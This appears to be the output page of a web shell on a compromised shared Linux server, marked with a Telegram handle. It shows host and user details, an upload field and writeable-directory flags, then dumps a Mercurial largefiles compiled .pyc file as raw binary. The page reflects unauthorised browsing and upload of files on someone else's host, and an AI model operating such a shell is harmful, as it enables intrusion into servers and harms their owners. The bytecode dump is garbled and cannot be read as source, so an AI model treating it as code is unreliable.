https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hgext/largefiles/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hgext/largefiles/__pycache__/lfutil.cpython-310.pyc
o

�]Lb�e�@sHdZddlmZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZddl
mZmZmZmZmZmZmZmZmZmZmZddlmZdd	lmZd
ZedZ dZ!ej"dhdd��Z#didd�Z$dd�Z%dd�Z&e!fdd�Z'dd�Z(dd�Z)Gdd�dej�Z*dhdd �Z+d!d"�Z,djd#d$�Z-dkd&d'�Z.dkd(d)�Z/d*d+�Z0d,d-�Z1d.d/�Z2d0d1�Z3d2d3�Z4d4d5�Z5dld6d7�Z6d8d9�Z7d:d;�Z8d<d=�Z9d>d?�Z:d@dA�Z;dBdC�Z<dDdE�Z=dFdG�Z>dHdI�Z?dJdK�Z@dLdM�ZAdNdO�ZBdPdQ�ZCdRdS�ZDdTdU�ZEGdVdW�dWeF�ZGdXdY�ZHdZd[�ZId\d]�ZJd^d_�ZKd`da�ZLdbdc�ZMGddde�deeN�ZOdldfdg�ZPdS)mzGlargefiles utility code: must not import other modules in this package.�)�absolute_importN)�_)�hex)�open)�dirstate�encoding�error�httpconnection�match�pycompat�requirements�scmutil�sparse�util�vfs)�hashutil)�	timestamps.hglf�/�
largefilesTccs0�t|dd�}||_z	dVW||_dS||_w)N�lfstatusF)�getattrr)�repo�value�oldvalue�r�9/usr/lib/python3/dist-packages/hgext/largefiles/lfutil.pyr,s�r�
cCsh|}|s|r|jtd|d�}|r'zt|�}Wnty&t�td�|��w|dur2t�td���|S)Nsminsize)�defaults)largefiles: size must be number (not %s)
s-minimum size for largefiles must be specified)�config�longname�float�
ValueErrorr�Abortr)�ui�assumelfiles�optr�lfsizerrr�
getminsize6s
��r'cCs�t�tj�|��z	t�||�WdSty]t|d��*}t�|��}t�	|�D]}|�
|�q*Wd�n1s<wYWd�n1sKwYt�|t�|�j
�YdSw)z@Try to create hardlink - if that fails, efficiently make a copy.�rbN)r�makedirs�os�path�dirname�oslink�OSErrorr�atomictempfile�
filechunkiter�write�chmod�stat�st_mode)�src�dest�srcf�dstf�chunkrrr�linkFs����r:cCstj�t|�|�S)z�Return the correct location in the "global" largefiles cache for a file
    with the given hash.
    This cache is used for sharing of largefiles across repositories - both
    to preserve download bandwidth and storage space.)r*r+�join�
_usercachedir)r#�hashrrr�
usercachepathSsr>cCs|�|d�}|r
|Sd}tjr-tj�dtj�d��}|r#tj�||�St	d�dd|f}nStj
rJtj�d�}|rAtj�|dd|�St	d	�d|f}n6tjrvtj�d
�}|r\tj�||�Stj�d�}|rltj�|d|�St	d�d
d|f}n
t�
t	d�tj��tj
t	d
�||d��)z5Return the location of the "global" largefiles cache.s	usercacheNsLOCALAPPDATAsAPPDATAs7define %s or %s in the environment, or set %s.usercachesHOMEsLibrarysCachess1define %s in the environment, or set %s.usercachesXDG_CACHE_HOMEs.cachesunknown operating system: %s
sunknown %s usercache location)�hint)�
configpathr�	iswindowsr�environ�getr*r+r;r�isdarwin�isposixrr"�osname)r#�namer+r?�appdata�homerrrr<[sN�����r<cCst||�}tj�|�S�N)r>r*r+�exists)r#r=r+rrr�inusercache�s
rLcCsnt||�\}}|r|j�td�|�|St|j|�r5|j�td�|�t||�}tt|j|�|�|SdS)z�Return store path of the largefile with the specified hash.
    As a side effect, the file might be linked from user cache.
    Return None if the file can't be found locally.sfound %s in store
sfound %s in system cache
N)�
findstorepathr#�noterrL�	storepathr:r>)rr=r+rKrrr�findfile�s
rPcs�eZdZ�fdd�Z�fdd�Z�fdd�Zd�fdd	�	Z�fd
d�Z�fdd
�Z�fdd�Z	�fdd�Z
�fdd�Zdd�Z�fdd�Z
�ZS)�largefilesdirstatec�tt|��t|��SrJ)�superrQ�__getitem__�unixpath)�self�key��	__class__rrrT��zlargefilesdirstate.__getitem__crRrJ)rSrQ�set_trackedrU�rV�frXrrr[�rZzlargefilesdirstate.set_trackedcrRrJ)rSrQ�
set_untrackedrUr\rXrrr^�rZz largefilesdirstate.set_untrackedNcrRrJ)rSrQ�normalrU)rVr]�parentfiledatarXrrr_�szlargefilesdirstate.normalcrRrJ)rSrQ�removerUr\rXrrra�rZzlargefilesdirstate.removecrRrJ)rSrQ�addrUr\rXrrrb�rZzlargefilesdirstate.addcrRrJ)rSrQ�droprUr\rXrrrc�rZzlargefilesdirstate.dropcrRrJ)rSrQ�forgetrUr\rXrrrd�rZzlargefilesdirstate.forgetcrRrJ)rSrQ�normallookuprUr\rXrrre�rZzlargefilesdirstate.normallookupcCsdS�NFrr\rrr�_ignore�szlargefilesdirstate._ignorecs&|r	|jddd�tt|��d�dS)Nslargefiles/dirstatesplain)�location)�	addbackuprSrQr1)rV�trrXrrr1�szlargefilesdirstate.writerJ)�__name__�
__module__�__qualname__rTr[r^r_rarbrcrdrergr1�
__classcell__rrrXrrQ�srQcs��j}t}t�|�|��}tj�jv}t||�j�jj	�fdd��j
|�}|rp|�|�|d��spt��}�jj
|gddd�}	t|	�dkrI|�|�|���|	D]}
t|
�}|j|dddd�qPWd	�|S1skwY|S)
z�
    Return a dirstate object that tracks largefiles: i.e. its root is
    the repo root, but it is saved in .hg/largefiles/dirstate.
    cs
t���SrJ)r�matcherr�rrr�<lambda>�s
z openlfdirstate.<locals>.<lambda>sdirstateF��subrepos�unknown�ignoredrT)�
p1_tracked�
wc_tracked�possibly_dirtyN)rr�vfsmodr;r�DIRSTATE_V2_REQUIREMENTrQ�rootr�	_validate�
nodeconstantsrK�getstandinmatcher�walk�lenr)�parentchange�splitstandin�update_file)r#r�creater�
lfstoredir�opener�use_dirstate_v2�
lfdirstatero�standins�standin�lfilerrpr�openlfdirstate�s>
�
�

��
��r�c	Cs�|d}t��}|j|gdddd�\}}}|j|j}}|d}	|D]O}
z|t|
�}Wnty7d}Ynw|rEt|�t|�	|
��krK|�
|
�q"|�
|
�|	|
��}|j}
|j
}t�||�}|durq|
||f}|�|
|�q"|S)N�.F�rsru�cleanrt)�matchmod�always�status�modifiedr�r��LookupError�
readasstandin�hashfile�wjoin�append�lstatr4�st_sizer�reliable_mtime_of�	set_clean)r�r�pctxr
�unsure�s�mtime_boundaryr�r��wctxr��fctx�st�mode�size�mtime�
cache_datarrr�lfdirstatestatus�s2
��

�r�cs.|durt��}��fdd����|�D�S)zNreturn a list of largefiles in the working copy or the
    specified changesetNcs*g|]}�dus�j�|�jrt|��qSrJ)r�	get_entry�any_trackedr���.0r]�r�revrr�
<listcomp>s
�zlistlfiles.<locals>.<listcomp>)r~r)rr�rorr�r�
listlfiless
�r�FcCstj�t|||��S)zBReturn true if a largefile with the given hash exists in the store)r*r+rKrO�rr=�
forcelocalrrr�instoresr�cCs,|s|��r|j�|jt|�S|j�t|�S)zbReturn the correct location in the repository largefiles store for a
    file with the given hash.)�sharedr�reljoin�
sharedpathrr;r�rrrrO#srOcCsJt||d�}t||�r|dfS|��r!t||d�r!t||d�dfS|dfS)z�Search through the local store path(s) to find the file for the given
    hash.  If the file is not found, its path in the primary store is returned.
    The return value is a tuple of (path, exists(path)).
    FT)rOr�r��rr=r+rrrrM+s
rMc	Cs�|j}t||�}|durdS|�|�|�|���t|d��%}||d��}tt�|�|�}Wd�n1s7wYWd�n1sFwY||krc|j	�
td�|||f�|�|�dSdS)a.Copy the specified largefile from the repo or system cache to
    filename in the repository. Return true on success or false if the
    file was not found in either cache (which should not happened:
    this is meant to be called only after ensuring that the needed
    largefile exists in the cache).NFr(swbs'%s: data corruption in %s with hash %s
T)
�wvfsrPr)r,r;r�copyandhashrr0r#�warnr�unlink)rr=�filenamer�r+�srcfd�destfd�gothashrrr�
copyfromcache=s&
����
r�cCs\|j}t||�}t||�rdS|�|�r t||�|�|�dS|j�td�||f�dS)Ns0%s: largefile %s not available from local store
)	r�r�r�rK�copytostoreabsoluter;r#r�r)r�ctx�file�fstandinr�r=rrr�copytostoreVs

��r�cCsD||}|��D]}t|�}|dur||��vrt||||�qdS)z4Copy all largefiles in a given revision to the storeN)�filesr��manifestr�)r�noder�r��realfilerrr�copyalltostoreds��r�c	Cs�t|j|�rtt|j|�t||��dSt�tj�	t||���t
|d��1}tjt||�|jj
d��}t�|�D]}|�|�q8Wd�n1sJwYWd�n1sYwYt||�dS)Nr()�
createmode)rLr#r:r>rOrr)r*r+r,rr/�storer�r0r1�linktousercache)rr�r=r7r8r9rrrr�ns�����r�cCs t|j|�}tt||�|�dS)zRLink / copy the largefile with the specified hash from the store
    to the cache.N)r>r#r:rOr�rrrr�|sr�cs~|j�t�dd�}|r/|��s/��fdd�|��D�}|s#����g}tj|d||d�}|Stj|d����g|d�}|S)zDReturn a match object that applies rmatcher to the standin directorycS�dSrJr)r]�msgrrrrq��z#getstandinmatcher.<locals>.<lambda>csg|]}���|��qSr)r;)r��pat��
standindirr�rrr��sz%getstandinmatcher.<locals>.<listcomp>N)�badfn)r��	shortnamer�r�r;r
r
)r�rmatcherr��patsr
rr�rr~�s�r~cs(t|��}|j���fdd�}||_|S)z�Return a matcher that accepts standins corresponding to the
    files accepted by rmatcher. Pass the list of files in the matcher
    as the paths specified by the user.cs�|�o
��t|��SrJ)�matchfnr��r]��	isstandinr�rr�composedmatchfn�sz.composestandinmatcher.<locals>.composedmatchfn)r~r�)rr��smatcherr�rr�r�composestandinmatcher�s

r�cCstt�|�S)zLReturn the repo-relative path to the standin for the specified big
    file.)�shortnameslashr�pconvert�r�rrrr��s
r�cCs
|�t�S)zsReturn true if filename is a big file standin. filename must be
    in Mercurial's internal form (slash-separated).)�
startswithr�r�rrrr��s
r�cCs6t�|��dd�}t|�dkr|dtkr|dSdS)Nr��r)rr��splitr�r�)r��bitsrrrr��sr�cCsJ|�|�}|j�|�rt|�}t|�}t||||�dSt�td�|��)z�Re-calculate hash value of lfile and write it into standin

    This assumes that "lfutil.standin(lfile) == standin", for efficiency.
    s%s: file not found!N)	r�r�rKr��
getexecutable�writestandinrr"r)rr�r�r�r=�
executablerrr�
updatestandin�s
r�cCs|����S)zxread hex hash from given filectx of standin file

    This encapsulates how "standin" data is stored into storage layer.)�data�strip)r�rrrr��sr�cCs|�||d|r
dpd�dS)z#write hash to <repo.root>/<standin>�
�x�N)�wwrite)rr�r=r�rrrr��sr�cCs4t�d�}|D]}|�|�|�|�qt|���S)z�Read bytes from instream (iterable) and write them to outfile,
    computing the SHA-1 hash of the data along the way. Return the hash.r�)r�sha1�updater1r�digest)�instream�outfile�hasherr�rrrr��s


r�cCsFtj�|�sdSt|d��}t|�Wd�S1swYdS)Nr�r()r*r+rKr�hexsha1)r��fdrrrr��s
$�r�cCs*t�|�j}|tj@o|tj@o|tj@SrJ)r*r3r4�S_IXUSR�S_IXGRP�S_IXOTH)r�r�rrrr��s
��r�cGs*dd�}|||�}|D]}|||�}q|S)NcSs0|�d�s	|d7}|�d�r|dd�}||S)Nrr�)�endswithr�)�left�rightrrrr;�s


zurljoin.<locals>.joinr)�first�second�argr;�url�arrr�urljoin�s

rcCs.t��}t�|�D]}|�|�q	t|���S)zUhexsha1 returns the hex-encoded sha1 sum of the data in the file-like
    object data)rr�rr0r�rr�)�fileobj�hr9rrrr�sr�cCst�||d�S)Nr()r	�httpsendfile)r#r�rrrrsrcCst�tj�|��S)z@Return a version of path normalized for use with the lfdirstate.)rr�r*r+�normpath)r+rrrrUsrUcCs8d|jvrtdd�|j��D��rdStt|j|d��S)z,Return true if the repo is a largefile repo.rcss�|]	}t|dvVqdS)r�N)r�r�rrr�	<genexpr>s�
�zislfilesrepo.<locals>.<genexpr>TF)r�anyr��	datafilesr�r#rprrr�islfilesrepos
�rc@seZdZdd�ZdS)�storeprotonotcapablecC�
||_dSrJ)�
storetypes)rVrrrr�__init__"�
zstoreprotonotcapable.__init__N)rkrlrmrrrrrr
!sr
c	Cspg}t|�}|d}|jj|gddd�D]!}t|�}zt||�}Wnty-d}Ynw|�||f�q|S)NFrr)r~rrr�r��IOErrorr�)rr�ror�r�r�r=rrr�getstandinsstate&s
��rcCsPt|�}||jvr|j|ddd�dS|j�|�}|j||j|j|jdd�dS)NF)rvrwT)rwrv�p2_inforx)r�rr�r��trackedrvr)rr�r�re�	lfstandin�entryrrr�synclfdirstate6s

�rcCs�|��}t|j|�}|���"||�|��D]}t|�}|dur(t|||d�qWd�n1s3wY|�|���t	||�dSrf)
rr�r#r�r�r�rr1�currenttransactionr�)�origr�r�rr�r]r�rrr�
markcommittedEs
���rcCs>t|��t|��}g}|D]}|d|vr|�|d�q
|S)Nr)�set�symmetric_differencer�)�oldstandins�newstandins�changedstandins�filelistr]rrr�getlfilestoupdateds�r"c
s��jj}|td�td�t|�d���}t|�D]�\}}|�|��fdd��|��D�}t�dd���|}Wd�n1sAwYt|�	��}	t|�dkr�|�
�}
|���
�}|���
�}|D]}
|
|
vro|	�
|
�qd|D]}
|
|
vr}|	�
|
�qr|
D]}
|
|
|�|
d�ks�|
|
|�|
d�kr�|	�
|
�q�|	D]}t|�r�||vr�||t||��q�qWd�dS1s�wYdS)	Nsfinding outgoing largefiless	revisions)�unit�totalcsg|]	}|�jkr|�qSr)�nullid)r��prprrr�vsz%getlfilestoupload.<locals>.<listcomp>F)rr�)r#�makeprogressrr��	enumerater��parentsrrr�r��p1�p2rbrCr�r�)r�missing�addfuncr'�progress�i�nr)r�r��mc�mp1�mp2r]�fnrrpr�getlfilestouploadmsJ�

�
�
�(
����"�r5cs�|j}|dus|��rQt||�}t��}|j|gdddd�\}}}||j|j|j}t|���D]}	|	|vrNt	|	�}
|j
�|
�rN|j
�|	�rNt||	|
�q2|St|��|�
|����|_t||�}|jj|gddd���sq|St||�}�D]}
t|
�}	|�|	�jr�t||	|
�qxt�|�}|j�|jt��7_g}|jD]+}
t	|
�}
|
�vs�|
�vr�|j�|
�js�|j�|
�js�q�n|j�|
�js�q�|�|
�q�||_���fdd�}||_|S)z�Update standins in the working directory according to specified match

    This returns (possibly modified) ``match`` object to be used for
    subsequent commit process.
    NFr�rrcs�|�r|�vS|�vSrJrr���lfiles�origmatchfnr�rrr��sz&updatestandinsbymatch.<locals>.matchfn)r#r�r�r�r�r��added�removedr�r�r�rKr��
_subdirlfsr��_filesr�rrr�r�r�copyr��sortedr�r�)rr
r#r��
dirtymatchr�r�r��
modifiedfilesr�r�r��actualfilesr]r�rr6r�updatestandinsbymatch�sb

��
�
�

�rBc@s eZdZdZdd�Zdd�ZdS)�automatedcommithooka�Stateful hook to update standins at the 1st commit of resuming

    For efficiency, updating standins in the working directory should
    be avoided while automated committing (like rebase, transplant and
    so on), because they should be updated before committing.

    But the 1st commit of resuming automated committing (e.g. ``rebase
    --continue``) should update them, because largefiles may be
    modified manually.
    cCrrJ)�resuming)rVrDrrrrrzautomatedcommithook.__init__cCs|jrd|_t||�S|Srf)rDrB)rVrr
rrr�__call__s
zautomatedcommithook.__call__N)rkrlrm�__doc__rrErrrrrC�srCcCs0|durt�|d�r|jdS|r|jSdd�S)a)Return the function to write largefiles specific status out

    If ``forcibly`` is ``None``, this returns the last element of
    ``repo._lfstatuswriters`` as "default" writer function.

    Otherwise, this returns the function to always write out (or
    ignore if ``not forcibly``) status.
    Ns_largefilesenabled���c_r�rJr)r��optsrrrrqr�z!getstatuswriter.<locals>.<lambda>)r�safehasattr�_lfstatuswritersr�)r#r�forciblyrrr�getstatuswriters
	
rL)T)r)NN)FrJ)QrF�
__future__r�
contextlibr=r*r3�mercurial.i18nr�mercurial.noder�mercurial.pycompatr�	mercurialrrrr	r
r�rrr
rrrry�mercurial.utilsr�mercurial.dirstateutilsrr�r�r�contextmanagerrr'r:r>r<rLrPrQr�r�r�r�rOrMr�r�r�r�r�r~r�r�r�r�r�r�r�r�r�r�rr�rrUr�	Exceptionr
rrrr"r5rB�objectrCrLrrrr�<module>sx4

	
2
*(






		
	!j

https://t.me/RX1948 - 2025